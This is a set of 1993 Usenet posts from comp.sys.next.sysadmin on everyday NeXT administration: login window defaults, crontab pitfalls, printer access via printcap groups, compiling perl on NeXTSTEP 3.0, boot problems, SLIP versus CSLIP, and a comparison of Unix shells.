Newsgroups: comp.sys.next.sysadmin From: dkinsey@next3.corp.mot.com (Dave Kinsey) Subject: Re: How to get Login Window to "bounce" Organization: MOTOROLA Date: Thu, 18 Feb 1993 21:04:24 GMT Message-ID: <1993Feb18.210424.13384@schbbs.mot.com> References: <1loqfdINN646@iskut.ucs.ubc.ca> Sender: news@schbbs.mot.com (Net News) In article <1loqfdINN646@iskut.ucs.ubc.ca> oly@emerson.physics.ubc.ca writes: > Hi All, > How do I get the login panel to bounce around? > ________________________________________________________ > B.Olav Anderson > CyberSurfer > NeXT Mail Accepted--> e-mail oly@emerson.physics.ubc.ca > > "The Years Teach Much What The Days Never Know" > R.W.Emerson > > "The Essence of Being is Becoming" > Heraclitus > > "How can a man be weak who dares to be at all?" > H.D.Thoreau Set the following default for root on your machine. # dwrite loginwindow MoveWhenIdle YES - Dave Kinsey /----------------------------------------------\ | David R Kinsey | | NeXT System Administrator | | DSS: Distributed Systems Services | | | | Motorola Corporate MIS & Telecommunications | | 1299 E Algonquin Rd. | | Schaumburg, IL 60196 | | | | Phone: 708-576-6611 | | Fax: 708-576-3111 | | E-Mail: dkinsey@next3.corp.mot.com | | (NeXT Mail accepted) | \----------------------------------------------/
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: problem with uids Date: 18 Feb 1993 21:52:22 GMT Organization: University of Houston Message-ID: <1m10emINNt1b@menudo.uh.edu> References: <1993Feb18.163828.10408@zip.eecs.umich.edu> In article <1993Feb18.163828.10408@zip.eecs.umich.edu> blommer@hertz.eecs.umich.edu (Michael Alan Blommer) writes: #I've experienced the following problem when adding a new user to our network: # #When the uid is larger than about 32000, all of the files and directories that #should be owned by the user show up as being owned by a NEGATIVE uid. For #example, if I create # #Username: temp #User ID: 34170 # #the home directory for temp shows that it is owned by -31366, not temp or #34170. However, if I change the uid to 3417, everything is fine. # # #Thanks, #Mike No there is not an easy fix for this. This is a problem with many different versions of unix. One way to get around this is to use AFS and its method of dealing with userspace... -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: gordie@cyclesoft.com (Gordie Freedman) Subject: Re: customizing shell files NeXT vs X11 Message-ID: <1993Feb19.103018.243@netcom.com> Sender: gordie@netcom.com Organization: Cyclesoft Media Works References: <1m1l1gINN2t9@bigguy.eng.ufl.edu> Date: Fri, 19 Feb 1993 10:30:18 GMT In article <1m1l1gINN2t9@bigguy.eng.ufl.edu> statman@stat.ufl.edu (charles d. kincaid) writes: > > Hello, > I use bash inside Stuart on a NeXTstation running NS2.1. I have > Stuart set up to display the current directory in the title bar (cool!). > Now when I run mouseX (X11R4 from MIT) I get screwy title bars since > xterm is not Stuart. Is there a way to check something (I'm not sure > what) to know whether or not to set the title bars this way? > > charles d. kincaid > statman@stat.ufl.edu <-------- PLEASE reply to this address Here's a section of my .cshrc that can handle Stuart, Xterm, or none of the above. If it doesn't work or is unclear I can explain, but I think it's fairly self explanatory. I expect this maps somehow to bash, zsh (works in tcsh and csh on Sparc and NeXT). Make sure to read the comments about ^[ and ^G (in both places ...) ---------------------------snippet from .cshrc---------------------- # # Set up aliases for xtitle, stitle, ititle, shtitle # # Note that the ^[ is esc, and the ^G is ctl-g # You can't cut and paste this into your .cshrc because the ^[ and ^G # will be taken literally as two characters each. To do it, edit in # vi and use "ctl-v esc", and "ctl-v ctl-g" (in emacs replace the # ctl-v with ctl-q) alias xtitle 'echo -n "^[]\!:1;\!:2*^G"' alias ititle 'xtitle 1 \!*' alias stitle 'xtitle 2 \!*' alias shtitle 'stitle "${USER}@`hostname` \($cwd\)"; ititle "${USER}@`hostname`" ' if ($?TERM) then if ($?STUART) then alias prompt 'set prompt="(`hostname`) - \\!: ";' # see previous note about ^[ and ^G alias stitle 'echo -n "^[]3;$cwd^G"' alias pwd 'pwd; stitle' alias cd 'chdir \!*; stitle' alias od 'popd \!*; stitle ;' alias pd 'pushd \!*; stitle ;' else if ($TERM != xterm) then alias prompt 'set prompt="($cwd) - \\!): ";' alias cd 'chdir \!*; prompt ;' alias od 'popd \!*; prompt ;' alias pd 'pushd \!*; prompt ;' else alias prompt 'set prompt="(`hostname` - \\!): ";' alias cd 'chdir \!*; stitle "${USER}@`hostname` \($cwd\)"' alias od 'popd \!*; stitle "${USER}@`hostname` \($cwd\)"' alias pd 'pushd \!*; stitle "${USER}@`hostname` \($cwd\)"' alias pwd 'pwd; stitle "${USER}@`hostname` \($cwd\)"' alias su 'su \!*; shtitle' endif endif prompt else alias prompt 'echo "Unknown terminal type $TERM"' endif -- >>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes! >>> Thou shalt not inline functions more complicated than 20
Newsgroups: comp.sys.next.sysadmin From: bill@leeweyr.sccsi.com (Bill Lee) Subject: Re: crontab and cron problems? Message-ID: <1993Feb19.032458.338@leeweyr.sccsi.com> Keywords: crontab cron Organization: Lee Aerie References: <Feb18.174617.69222@yuma.ACNS.ColoState.EDU> <1993Feb18.143735.5628@news.cs.indiana.edu> Date: Fri, 19 Feb 1993 03:24:58 GMT In article <1993Feb18.143735.5628@news.cs.indiana.edu> "Steve Hayman" <sahayman@cs.indiana.edu> writes: > >A couple of possibilities why crontab jobs aren't executing... > >PATH problems. Jobs executed from /etc/crontab have their $PATH >set to /bin:/usr/bin - so if you don't you use a full pathname in >the crontab, or you don't reset the pathname in a shell script, >your program won't see things in /usr/ucb, /usr/local/bin, or other >various places that will work when you run from the command line. > >I'd use a full pathname in the crontab, like this > > 00 * * * * root /usr/ucb/foobar > >and if I was trying to execute a /bin/sh script from within cron, I would >make sure that the script contained a line like this > > PATH=/usr/local/bin:/usr/ucb:/bin:/usr/bin export PATH > >Syntax problems. Cron is very picky about the format of the command line >in /etc/crontab, and will silently not do anything if it sees a line >it doesn't like. Many times I've done something like this > > 00,15,30,45 * * * root /usr/local/bin/do-something > >and scratched my head as to why nothing was happening. The answer in >this case is that there aren't enough fields. What I meant to type was ... > > 00,15,30,45 * * * * root /usr/local/bin/do-something > >Hope this helps, >Steve >uunet.ca!objectar!shayman Another one of the little "gotchas": Make sure there are no, repeat: NO trailing blanks at the end of the lines. Regards, Bill Lee
From: bradshaw@thelma.hq.af.mil (Michelle A. Bradshaw) Newsgroups: comp.sys.next.sysadmin Subject: Garbled Mail Message-ID: <17800@hq.hq.af.mil> Date: 19 Feb 93 14:04:33 GMT Sender: news@Pt.hq.af.mil Lately I some of my mail has included garbled NeXT attachments. I tried the suggestion in NeXT answers: >Q: How do I reconstruct an attachment that has been forwarded to me from >the Mailer Daemon or a Non-NeXT mailer? > >A: You can do this if you are running NeXT Mail on a cube. > >Copy the Next-Attachment lines and the body of the encoded test (from the >begin line through the end line) and paste it into a new file. > >From a Shell, run > /usr/lib/sendmail name < file > >This will resend it to yourself (or whomever) with the attachment >properly recognized. This did not fix the problem, but then again, I'm using a NeXTstation versus a Cube. Any other suggestions? BTW, I'm running 3.0. Thanks in advance! -- -- Michelle A. Bradshaw HQ USAF LAN Configuration Management -- bradshaw@thelma.hq.af.mil (NeXT OK) (703)695-5060 DSN 225-5060 -- Anybody who has an identity problem had better wise up and get -- with the program! Jack Handey
From: rcc@next1.math.pitt.edu (robert cyphers) Newsgroups: comp.sys.next.sysadmin Subject: How to limit printer access Keywords: printer Message-ID: <4261@blue.cis.pitt.edu> Date: 19 Feb 93 15:28:29 GMT Sender: news+@pitt.edu Under NextOS 2.1 I would like to be able to limit access to the printer to certain users. How can I do this? Robert C Cyphers Dept of Mathematics and Statistics University of Pittsburgh rcc@next1.math.pitt.edu -- Although robust enough for general use, adventures into the esoteric periphery of the C shell may reveal unexpected quirks. Sun Release 4.1 Last change: 2 October 1989
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: jonv@ptnext.claremont.edu (Jon Vestal) Subject: Help Compiling Perl Message-ID: <1993Feb19.165956.14194@muddcs.claremont.edu> Sender: news@muddcs.claremont.edu (The News System) Organization: Harvey Mudd College, Claremont, CA 91711 Date: Fri, 19 Feb 1993 16:59:56 GMT Hi, Can someone help me compile perl on a NeXT running NS 3.0. Everything seems to work except for the getgrgid. I've tryed compiling several ways using the builtin perl setgid and the C setgid. I thinks it is probably a problem with the type of int returned by getuid and getgid. Any help would be appreciated. Jon Vestal Systems Technician Pitzer College jonv@ptnext.claremont.edu
Newsgroups: comp.sys.next.sysadmin From: matt%mattcube@concert.net (Matthew M. Stecker) Subject: Thanks for your help. Message-ID: <1993Feb19.182739.1282@mattcube> Sender: matt@mattcube Organization: UNC School of Law, CC for NeXT Computer, Inc. Date: Fri, 19 Feb 1993 18:27:39 GMT Thanks to the person who told me how to get my system to read mac disks again. The answer was to rename /usr/filesystems/mac.fs.SAVE to mac.fs. Executor kills the mac filesystem stuff. I understand why it does this, but this is a feature that lurks dangerously close to being a bug. ______ The second thing that I had to figure out myself was this: If you build a 3.0 OD with BuildDisk, even though BuildDisk thinks it knows about OD's, it sets up your /etc/fstab to look for /dev/sd0a as the root partition. Just changed it to /dev/odoa and it worked. Kind of eerie running 3.0 off of the optical only. Hey, everything's moving in slow motion . . . Matthew Stecker UNC School of Law -- matt stecker | This is my NeXT Computer NeXT Campus Consultant, | There are many like it, UNC School of Law | but this one is mine.
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,de.comp.sys.next Subject: talk, rwho, printer questions Date: 19 Feb 1993 19:00:38 GMT Organization: Technical University of Berlin, Germany Message-ID: <1m3aom$he7@news.cs.tu-berlin.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Keywords: talk, setuid, printer, pagecount Hello admins I've got a few questions 1 - how do you know how many copies your NeXT laser printer printed? when is the toner gone? the good old 'pagecount' PS variable doesn't work. this is always NIL. Any hint? 2- 'rusers' is a sytemV routine. rwho is bsd. Why doesn't NeXT, right out of the box, support rwho? : sfr@dasburo 73 (~) > rwho /usr/spool/rwho: No such file or directory 3- why is it impossible to 'talk'? how do I set up talk (hostname in /etc/hosts, setuid for ../Terminal) what else? thanx in advance Stephan -- Stephan Fruhauf gonzo@opal.cs.tu-berlin.de what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: matt%mattcube@concert.net (Matthew M. Stecker) Subject: CD Audio autoplay? Message-ID: <1993Feb19.191712.1453@mattcube> Sender: matt@mattcube Organization: UNC School of Law, CC for NeXT Computer, Inc. Date: Fri, 19 Feb 1993 19:17:12 GMT Hello, I remember discussion here about what to do to allow a NeXT CD Rom drive to autostart the CDPlayer application when an audio disc is inserted. Can someone summarize and email me? Right now, I can only play CD audio discs if I start the application by hand. Thanks!! Matthew M. Stecker UNC School of Law. -- matt stecker | This is my NeXT Computer NeXT Campus Consultant, | There are many like it, UNC School of Law | but this one is mine.
From: carlos@american.edu (Carlos Li) Newsgroups: comp.sys.next.sysadmin Subject: mount: / not found Date: 19 Feb 1993 19:38:22 GMT Organization: The American University Computing Center Message-ID: <1m3cveINN9bb@au-ns.american.edu> We are having problems rebooting our NeXTstation with a 105MB disk drive. We get the messages: mount: / not found Faking root mount entries .. Then, it stops in the middle of coming up in multi-user mode. When I try booting to single user, the /dev/sd0a seems to get mounted as read-only, so I cannot modify anything, like in /etc/fstab. I've tried booting up from a floppy and then mounting the hard disk. It lets me do it, and I can change the fstab file, but when I reboot again, it goes back to what it was before. We had a power outage the night before this happened. There is an extraneous line in the fstab file saying that it is trying to mount / from Net (or something like), which is what I'm trying to get rid of. I hope I made some sense here. Any help is welcome. --Carlos.
From: nelson@nextwork.Rose-Hulman.Edu (Randy J. Nelson) Newsgroups: comp.sys.next.sysadmin Subject: Re: How to limit printer access Date: 19 Feb 1993 21:53:38 GMT Organization: Computer Science Department at Rose-Hulman Message-ID: <1m3kt2INN9q3@master.cs.rose-hulman.edu> References: <4261@blue.cis.pitt.edu> In article <4261@blue.cis.pitt.edu> rcc@next1.math.pitt.edu (robert cyphers) writes: > Under NextOS 2.1 I would like to be able to limit access to the printer to > certain users. How can I do this? > > Robert C Cyphers > Dept of Mathematics and Statistics > University of Pittsburgh > rcc@next1.math.pitt.edu > > -- > > Although robust enough for general use, adventures into the > esoteric periphery of the C shell may reveal unexpected > quirks. > > Sun Release 4.1 Last change: 2 October 1989 Put the entry rg=groupname in the printcap file for the printer, where groupname is a the name of a netinfo group. This is one way anyway. There may be others. % nidump printcap . Local_Printer: \ :lf=/usr/adm/lpd-errs:sf=:sb=:lp=/dev/null:mx=0: \ :if=/usr/lib/NextPrinter/Server/prserver: \ :cf=/usr/lib/NextPrinter/Server/pscf: \ :df=/usr/lib/NextPrinter/Server/psdf: \ :gf=/usr/lib/NextPrinter/Server/psgf: \ :nf=/usr/lib/NextPrinter/Server/psnf: \ :rf=/usr/lib/NextPrinter/Server/psrf: \ :tf=/usr/lib/NextPrinter/Server/pstf: \ :vf=/usr/lib/NextPrinter/Server/psvf:ty=NeXT Color Printer: \ :note=Image Processing Color 1:nxformat=3.0: \ :sd=/usr/spool/NeXT/Local_Printer:sharedAs=B101_3_2:sharedTo=/: \ :af=/usr/adm/Local_Printer.acct:_writers=*: \ :rg=B101-3-2: ##rg entry ##^^^^^^^######### % nidump group / uucp:*:4: kmem:*:5:root B101-3-2:*:1000:yoder,nelson,zhal,behnkedj,bohlkejh tty:*:8: -- -Randy Nelson Workstation Support Manager Rose-Hulman Institute of Technology Email: Randy.Nelson@Rose-Hulman.Edu
Newsgroups: comp.sys.next.sysadmin From: fletcher@iastate.edu (Mike Fletcher) Subject: Extended diagnostics Message-ID: <C2pv06.Kn8@news.iastate.edu> Sender: news@news.iastate.edu (USENET News System) Organization: Iowa State University, Ames IA Date: Fri, 19 Feb 1993 22:12:00 GMT Does anyone know where I can get the hardware diagnostics for a 25MHZ momo NeXTstation? I am trying to track down an Exception #3 error that occurs when booting. Nobody that I ask seems to be able to tell me exactly what that message means. Thanks in advance -Mike
Newsgroups: comp.sys.next.sysadmin From: jpw@sansfoy.lib.Virginia.EDU (John Price-Wilkin) Subject: damaged internal drive Message-ID: <1993Feb20.010722.8386@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia Date: Sat, 20 Feb 1993 01:07:22 GMT I'm running my OS from an external drive, and when I bring the machine up I get a message saying that the internal (105M) drive is damaged. Repairing or reinitializing doesn't make any difference: next time I reboot the machine, I encounter this message. However, if I leave it up and repaired, it seems to function without problems. Is there a more effective "fix" on the drive, so that I can use it without encountering the message each time. If not, is there a way I can avoid having the machine attempt to mount the drive every time I boot. Can I cut down on noise and power consumption by disconnecting it completely? John Price-Wilkin jpw@virginia.edu
Newsgroups: comp.sys.next.sysadmin From: rich@pencil.cs.missouri.edu (Rich Winkel) Subject: How to suppress console logins? Message-ID: <rich.730172873@pencil> Sender: news@mont.cs.missouri.edu Organization: University of Missouri Date: 20 Feb 93 01:47:53 GMT The existence of /etc/nologin suffices to keep out telnet logins, but it has no effect on console logins. What to do? Rich
Newsgroups: comp.sys.next.sysadmin From: nathan@laplace.csb.yale.edu (Nathan F. Janette) Subject: Re: Extended diagnostics Message-ID: <1993Feb20.060417.2815@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT References: <C2pv06.Kn8@news.iastate.edu> Date: Sat, 20 Feb 1993 06:04:17 GMT In article <C2pv06.Kn8@news.iastate.edu> fletcher@iastate.edu (Mike Fletcher) writes: > Does anyone know where I can get the hardware diagnostics > for a 25MHZ momo NeXTstation? > > I am trying to track down an Exception #3 error that > occurs when booting. Nobody that I ask seems to be able to > tell me exactly what that message means. Wouldn't it be great if NeXT made this software available for purchase? We'd pay some reasonable amount for such software, perhaps with an indexed DL directory of help files. I'll bet lots of sites with multiple NeXT machines would consider such an investment. At, say $99 a pop, NeXT could make a few bucks while demonstrating support for owners of NeXT machines. -- Nathan Janette PPP link from hilbert.csb.yale.edu Please reply to: nathan@laplace.csb.yale.edu (NeXT)
Newsgroups: comp.sys.next.sysadmin From: nathan@laplace.csb.yale.edu (Nathan F. Janette) Subject: Re: Thanks for your help. Message-ID: <1993Feb20.060857.2969@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT References: <1993Feb19.182739.1282@mattcube> Date: Sat, 20 Feb 1993 06:08:57 GMT In article <1993Feb19.182739.1282@mattcube> matt%mattcube@concert.net (Matthew M. Stecker) writes: > If you build a 3.0 OD with BuildDisk, even though BuildDisk thinks it knows > about OD's, it sets up your /etc/fstab to look for /dev/sd0a as the root > partition. Just changed it to /dev/odoa and it worked. Oh no! Someone submit this bug for fixing in 3.1! Is NeXT still accepting bug reports for fixing in 3.1? -- Nathan Janette PPP link from hilbert.csb.yale.edu Please reply to: nathan@laplace.csb.yale.edu (NeXT)
Newsgroups: comp.sys.next.sysadmin From: irving@Happy-Man.com (Irving_Wolfe) Subject: Re: crontab and cron problems? Message-ID: <1993Feb19.153745.7975@Happy-Man.com> Keywords: crontab cron Organization: Happy Man Corp., Vashon Island, WA 98070-7399 References: <Feb18.174617.69222@yuma.ACNS.ColoState.EDU> Date: Fri, 19 Feb 1993 15:37:45 GMT In <Feb18.174617.69222@yuma.ACNS.ColoState.EDU> kelley@kiwi.ATMOS.ColoState.Edu (Kelley Wittmeyer) writes: >i can run them myself from the command line so they are >not erroring out. i cannot find any messages to why they >are not run. Cron doesn't see your environment and perhaps those commands are dependent on something in it. Or perhaps they need to be fooled into thinking they're running from a terminal. It varies. Let me take the opportunity to plug Paul Vixie's cron replacement, which I uploaded a long time ago to the archive at Purdue as "1992/07/24 87,813 submissions/cron-vixie-2.1-next.tar.Z"; It doesn't solve these problems, but has many other benefits and does make it easier for you to find out what's wrong and to fix it in these cases. Regards, - Irving -- Irving_Wolfe@Happy-Man.com Happy Man Corp. 206/463-9399 x101 4410 SW Pt. Robinson Rd., Vashon Island, WA 98070-7399 fax x108 We publish SOLID VALUE for the intelligent investor. NextMail OK Info free; sample $20. Send POSTAL addrs: Solid-Value@Happy-Man.com
Newsgroups: comp.sys.next.sysadmin From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Subject: Appletalk printer support, and Appletalk printer types Message-ID: <!h=4qr_@rpi.edu> Date: Sat, 20 Feb 1993 08:01:42 GMT I have some printers that I'd like to print to using the Appletalk support in NeXTSTEP 3.0. Some of those printers are setup as Appletalk printer type "LaserWriter", which is the standard name for printers (if they are going to show up under LaserWriter in the Mac Chooser, at least). Some of our other printers do not have a type of "LaserWriter". On the Mac this means you would need a different chooser extention to print to them. Is there any way to have the NeXT get at such printers? It would be nice if it were possible to do thru PrintManager.app, but at the moment I'd settle for a way to do it by adding the Netinfo entry for the printer by hand. -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
From: dillon@overload.Berkeley.CA.US (Matthew Dillon) Newsgroups: comp.sys.next.sysadmin Subject: Re: CSLIP vs. SLIP.... Distribution: world Message-ID: <dillon.0uvp@overload.Berkeley.CA.US> References: <1l9e9rINNc7k@usenet.INS.CWRU.Edu> Date: 17 Feb 93 15:02:49 PST Organization: Not an Organization In article <1l9e9rINNc7k@usenet.INS.CWRU.Edu> cew6@po.CWRU.Edu (Carlin E. Wiegner) writes: > >Is there really a difference between CSLIP and SLIP in terms of >speed. I can get Marble's product with CSLIP for $125 but on the >other hand I can pay nothing and get SLIP for free over the internet. >Please email opinions. >CW The only real difference is with small packets --- i.e., typing. If you are satisfied with the echo-response of your typing over SLIP then you do not really need CSLIP. -Matt -- Matthew Dillon dillon@Overload.Berkeley.CA.US 1005 Apollo Way uunet.uu.net!overload!dillon Incline Village, NV. 89451 ham: KC6LVW (no mail drop) USA Sandel-Avery Engineering (702)831-8000
From: cew6@po.CWRU.Edu (Carlin E. Wiegner) Newsgroups: comp.sys.next.sysadmin Subject: couple little provblems.... Date: 20 Feb 1993 15:21:33 GMT Organization: Case Western Reserve University, Cleveland, Ohio (USA) Message-ID: <1m5i9tINNjag@usenet.INS.CWRU.Edu> I've noticed that the mail icon in the dock keeps popping up with new mail ieven wen (supposed to be "even when") there isn't any. Especially when I just log in. It is always up even when there is no mail in the box, not even old mail. thanks.... CW
From: basiji@stein.u.washington.edu (David Basiji) Newsgroups: comp.sys.next.sysadmin Subject: NFS exporting external disk problems Message-ID: <1m6o59INN76n@shelley.u.washington.edu> Date: 21 Feb 93 02:07:37 GMT Article-I.D.: shelley.1m6o59INN76n Organization: University of Washington Greetings. We have a simple Netinfo network (is netinfo ever simple?) and we want to NFS export an external drive on one of the servers. We've entered it into the database via NSF manager along with two directories from the server's internal drive. At first, everything was fine. Then, we chown'd and chmod'ed some file on the external drive and now it won't export. Funny thing is, if I manually "exportfs -a", all is well. We've tried everything, including editing of the Netinfo database to delete and recreate the server's "exports" directory entry for this drive but still no go. Any suggestions? Thanks, David Basiji UW Bioengineering
From: robert@steffi.demon.co.uk (Robert David Nicholson) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: Re: Help Compiling Perl Followup-To: comp.sys.next.sysadmin,comp.sys.next.misc Date: 20 Feb 1993 19:52:17 -0000 Organization: me organized? That's a joke! Distribution: world Message-ID: <1m625h$5ad@steffi.demon.co.uk> References: <1993Feb19.165956.14194@muddcs.claremont.edu> Jon Vestal (jonv@ptnext.claremont.edu) wrote: : Hi, : Can someone help me compile perl on a NeXT running NS 3.0. Everything : seems to work except for the getgrgid. I've tryed compiling several ways : using the builtin perl setgid and the C setgid. I thinks it is probably a : problem with the type of int returned by getuid and getgid. Any help : would be appreciated. : Jon Vestal : Systems Technician : Pitzer College : jonv@ptnext.claremont.edu Everybody, this is the 3rd time I have had to answer this question in as many weeks. Nathan, how about an FAQ on this. To compile perl patchlevel 35 under NS3.0 some modifications to the Configure script are necessary. This is because Configure checks for the existance of certain include files and these determine which perl routines will actually be compiled into the binary via #ifdefs. Note: "make test" only detects that the getuid routines are there while infact the passwd routines are also not compiled. To successfully compile perl properly apply these changes to the Configure script. Look for the line if $test -r $usrinclude/pwd.h ; then change it to if $test -r $usrinclude/bsd/pwd.h ; then AND if $test -r $usrinclude/grp.h ; then change it to if $test -r $usrinclude/bsd/grp.h ; then Good luck.
Newsgroups: comp.sys.next.bugs,comp.sys.next.software,comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: A brief comparative study of UN*X shells (was: bug with bash 1.12.1 on NS3.0) In-Reply-To: shuque@microsupport.sas.upenn.edu's message of 19 Feb 93 17:42:57 GMT To: shuque@microsupport.sas.upenn.edu (Shumon Huque) Message-ID: <CEDMAN.93Feb19183209@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <CEDMAN.93Feb17143757@capitalist.princeton.edu> <110378@netnews.upenn.edu> Date: Fri, 19 Feb 1993 22:32:09 GMT In article <110378@netnews.upenn.edu> shuque@microsupport.sas.upenn.edu (Shumon Huque) writes: > Even on danger of repeating myself, I have to point out that if you > are used to bash, you should switch to zsh instead. The interactive > features are comparable and in all programming respects zsh is much > more similar to bash than tcsh is. Zsh also doesn't have this bash > bug. :-) Yes, this is a rather annoying bug. I still like bash however. Carl, you did not point out *why* zsh is better than bash, merely that it has comparable features .. Convince me and I'll switch :) You are quite right of course. A long writeup of why zsh is the best of all possible shells has been on my TODO list for a long time. But as I haven't gotten around to it yet, let me give you the short version. In the beginning there was sh - the Bourne shell. Sh has a decent programming language and today exists probably on every single UNIX system in the universe. These two reasons alone dictate that virtually all system shell scripts on all UNIX systems (including the NeXT) as well as almost all portable shell scripts have been written in it (and those few which haven't been, should have been). Unfortunately sh has almost no features which would make it pleasant to use interactively. Basically it reads programs from the stdin and writes their output to stdout and that's that. So csh was born. Csh has a prompt. And aliases. And history substitution. And many other little things which make life for interactive users simpler -- on the NeXT it can even do limited command line editing. If the author of csh simply had put all these things on top of the basic programming language of sh, probably sh would no longer exist and all other shells would have descended from csh. Instead he got the idea that giving csh a programming language a little bit like a cross between C and sh would be a neat idea. What resulted is arguably the worst most convulted bug-ridden inconsistent unpredictable language ever to be created unintentionally (Intercal was intentionally designed to be like that, though some would argue that csh still beats it). For details on this, I refer you to Tom Christiansens writeup "Csh Programming Considered Harmful". From these two shells almost all other shells descend. Foremost among the csh descendants is tcsh (available via anon ftp from tesla.ee.cornell.edu). Tcsh adds many more nice interactive features to csh, among them real command line and history editing, filename and command name completion, spelling checking aso. As csh used to be the standard shell for interactive use very many users have upgraded to tcsh now for those reasons. It even fixes up some of the worst errors in the csh scripting language, but as long as its author, Christos Zoulas, insists on keeping it csh compatible there really isn't much one can do. The latest version of tcsh compiles on a NeXT running 3.0 without problems. The main descendant of the Bourne shell, is the Korn shell. Ksh is what Csh should have been. The ksh programming language extends sh by niceties like functions and local variables, but most sh programs run under it. Ksh also has advanced interactive features. Unfortunately, AT&T holds the copyright to ksh and NeXT has not licensed it from them which means that you probably can't get ksh without paying several thousand dollars for the source to AT&T. To remedy this situation at least two shells have been written which are by and large ksh compatible but publicly available. These are the FSF's bash (available via anon ftp to prep.ai.mit.edu) and Paul Falstad's zsh (available via anon ftp to cs.ucsd.edu) which these is maintained by the a mailing list of developers, zsh-list@cs.uow.edu.au. The latest releases of both should compile on a NeXT running 3.0 just fine (though bash requires a little twiddling). As they both strive to be ksh compatible their programming languages are almost identical. The difference lies in the interactive features. Bash has some very nice ones. Zsh has every single one which any other of the above shells (including bash and tcsh) has. It has coprocesses, spelling correction, functions, aliases, global aliases, variables, arrays, local variables and arrays, sh quoting, csh quoting, named user directories, arbitrarily named directories, arithmetic expansion, process substitution, complete sh history expansion, generalized filename patterns with almost the same expressivity as any find script, variable modifiers with the expressivity of sed, default commands, pre-commands, post-commands, directory change commands, periodic commands, scheduled commands, trapped exception commands, emacs emulating command line editor, vi emulating command line editor, re-bindable command keys, 152 editing commands in all, builtin help, random number generation, cdpath, directory stacks, ignored extensions, hostname completion, customized completion mail check, login/out check, autologout, option completion, left justified prompts, right justified prompts, directory in prompts, trailing directory component in prompt, shortest directory description using names in prompt, time&day in prompt, most of the functionality of time(1), automatic export, implicit 'cd', automatic menus on completion, automatic pushd, automatic removal of trailing slashes, automatic resume, automatic nicing of background jobs, optional chasing of symlinks, to name just a few of the things which come to mind. For a more extensive list I refer you to the man page and info page and introductory text which comes with every zsh (though usually there are even more options which just nobody has gotten around to documenting). In short, there is no reason in the world _not_ to use zsh. For people who worry about software bloat, here are the data on my system. -rwxr-xr-x 1 root wheel 45120 May 30 1992 /usr/local/bin/rc* -rwxr-xr-x 1 root wheel 106496 Jul 21 1992 /bin/csh* -rwxr-xr-x 2 root wheel 122880 Jul 21 1992 /bin/sh* -rwxr-xr-x 1 cedman wheel 204800 Feb 14 11:52 /usr/local/bin/zsh* -rwxrwxr-x 1 cedman wheel 204800 Feb 6 22:45 /usr/local/bin/tcsh* -rwxr-xr-x 1 cedman wheel 221184 Feb 14 13:27 /usr/local/bin/bash* I'll let you know if I ever finish the long writeup. Carl Edman
From: cew6@po.CWRU.Edu (Carlin E. Wiegner) Newsgroups: comp.sys.next.sysadmin Subject: UPgrading to 3.0..... Date: 21 Feb 1993 15:55:17 GMT Organization: Case Western Reserve University, Cleveland, Ohio (USA) Message-ID: <1m88l5INN9b4@usenet.INS.CWRU.Edu> Well, I've looked everywhere else and many people have tried to help me upgrade from 3.0 screwed up to 3.0 extended (which the machine was orignally supposed to have on it when it was shipped to me 10 days ago). I have a mono-slab with a 400 meg harddrive, Apple Cd-Rom, Terminator, SCSI 2-SCSI 1 cable (according to NeXTconnection), and the 3.0 cd. Whenever I stick the disc in it says Disk Unformatted Disk is Write Protected. Then ejects the disc. Someone said I can boot from a floppy and rebuilt the whole drive but didn't say how. This is fine with me because there is nothing on there that I need. Please help me, my only consolation for this whole hardware dropping business is that I have one of the orignal "Black Boxes" but I CAN'T GET IT TO WORK AND IT IS REALLY PISSING ME OFF. PLEASE HELP! Thanks you to all those who have helped, are helping and will help! CW P.S. Could it be that I need new cd-rom drivers?
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: CSLIP vs. SLIP.... In-Reply-To: dillon@overload.Berkeley.CA.US's message of 17 Feb 93 15:02:49 PST To: dillon@overload.Berkeley.CA.US (Matthew Dillon) Message-ID: <CEDMAN.93Feb20091958@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1l9e9rINNc7k@usenet.INS.CWRU.Edu> <dillon.0uvp@overload.Berkeley.CA.US> Date: Sat, 20 Feb 1993 13:19:58 GMT In article <dillon.0uvp@overload.Berkeley.CA.US> dillon@overload.Berkeley.CA.US (Matthew Dillon) writes: In article <1l9e9rINNc7k@usenet.INS.CWRU.Edu> cew6@po.CWRU.Edu (Carlin E. Wiegner) writes: > >Is there really a difference between CSLIP and SLIP in terms of >speed. I can get Marble's product with CSLIP for $125 but on the >other hand I can pay nothing and get SLIP for free over the internet. >Please email opinions. >CW The only real difference is with small packets --- i.e., typing. If you are satisfied with the echo-response of your typing over SLIP then you do not really need CSLIP. That's true, but then again if you are satisfied with the interactive performance of SLIP, you must be running SLIP over Ethernet. :-) Carl Edman
